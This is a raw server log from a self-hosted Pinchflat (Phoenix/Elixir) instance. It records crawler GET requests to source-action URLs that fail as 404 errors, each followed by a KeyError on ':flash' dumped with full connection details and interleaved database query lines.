(exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35965.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 53778}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNGVBMnpSS0RrdzBsZzJ3bUNiOW11bzBu.4tmjQUCdDG60cpzNmlWD--dleb63zyFRe_rlDE47TrU", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNGVBMnpSS0RrdzBsZzJ3bUNiOW11bzBu.4tmjQUCdDG60cpzNmlWD--dleb63zyFRe_rlDE47TrU" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35973.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNGVBMnpSS0RrdzBsZzJ3bUNiOW11bzBu.4tmjQUCdDG60cpzNmlWD--dleb63zyFRe_rlDE47TrU" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNGVBMnpSS0RrdzBsZzJ3bUNiOW11bzBu.4tmjQUCdDG60cpzNmlWD--dleb63zyFRe_rlDE47TrU"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJStZzBgKSmZxoAERyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35965.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 53778}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNGVBMnpSS0RrdzBsZzJ3bUNiOW11bzBu.4tmjQUCdDG60cpzNmlWD--dleb63zyFRe_rlDE47TrU", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35965.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 53778}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNGVBMnpSS0RrdzBsZzJ3bUNiOW11bzBu.4tmjQUCdDG60cpzNmlWD--dleb63zyFRe_rlDE47TrU", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNGVBMnpSS0RrdzBsZzJ3bUNiOW11bzBu.4t (truncated) 15:35:57.951 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.206 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:36:27.952 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:29.874 [info] GET /sources/2/media/1613/edit 15:36:29.874 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1613", "source_id" => "2"} Pipelines: [:browser] 15:36:29.874 [info] GET /sources/2/media/3978 15:36:29.874 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3978", "source_id" => "2"} Pipelines: [:browser] 15:36:29.875 [debug] QUERY OK source="media_items" db=0.3ms idle=1344.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1613] 15:36:29.875 [debug] QUERY OK source="media_items" db=0.2ms idle=984.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3978] 15:36:29.875 [debug] QUERY OK source="settings" db=0.2ms idle=344.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:29.876 [debug] QUERY OK source="tasks" db=0.2ms idle=345.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3978] 15:36:29.876 [debug] QUERY OK source="settings" db=0.2ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:29.876 [debug] QUERY OK source="sources" db=0.5ms idle=345.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:36:29.876 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:29.876 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:29.876 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:29.877 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:29.877 [info] Sent 200 in 3ms 15:36:29.878 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:36:29.879 [info] Sent 200 in 4ms 15:36:30.336 [info] GET /sources/3/sync_files_on_disk 15:36:30.337 [debug] QUERY OK source="settings" db=0.2ms idle=459.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:30.337 [debug] QUERY OK source="settings" db=0.1ms idle=460.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:30.337 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:36:30.337 [error] #PID<0.35984.0> running PinchflatWeb.Endpoint (connection #PID<0.35978.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/3/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44384}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35984.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/3/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSwJutvuhhiFAAER4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44384}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44384}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7Vlafvb (truncated) 15:36:30.834 [info] GET /sources/2/sync_files_on_disk 15:36:30.835 [debug] QUERY OK source="settings" db=0.2ms idle=957.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:30.835 [debug] QUERY OK source="settings" db=0.0ms idle=957.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:36:30.835 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:36:30.835 [error] #PID<0.35985.0> running PinchflatWeb.Endpoint (connection #PID<0.35978.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44384}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.35985.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKJSwLlficmqLiAAER6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44384}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRm12WXRwSkRQOThmNHg1Y0ZjZk8tZld1.kj0lqxTPv2QRm_o3O6V3zwMhmsZ7VlafvbiIAnlQ3aM", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.35978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44384}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: 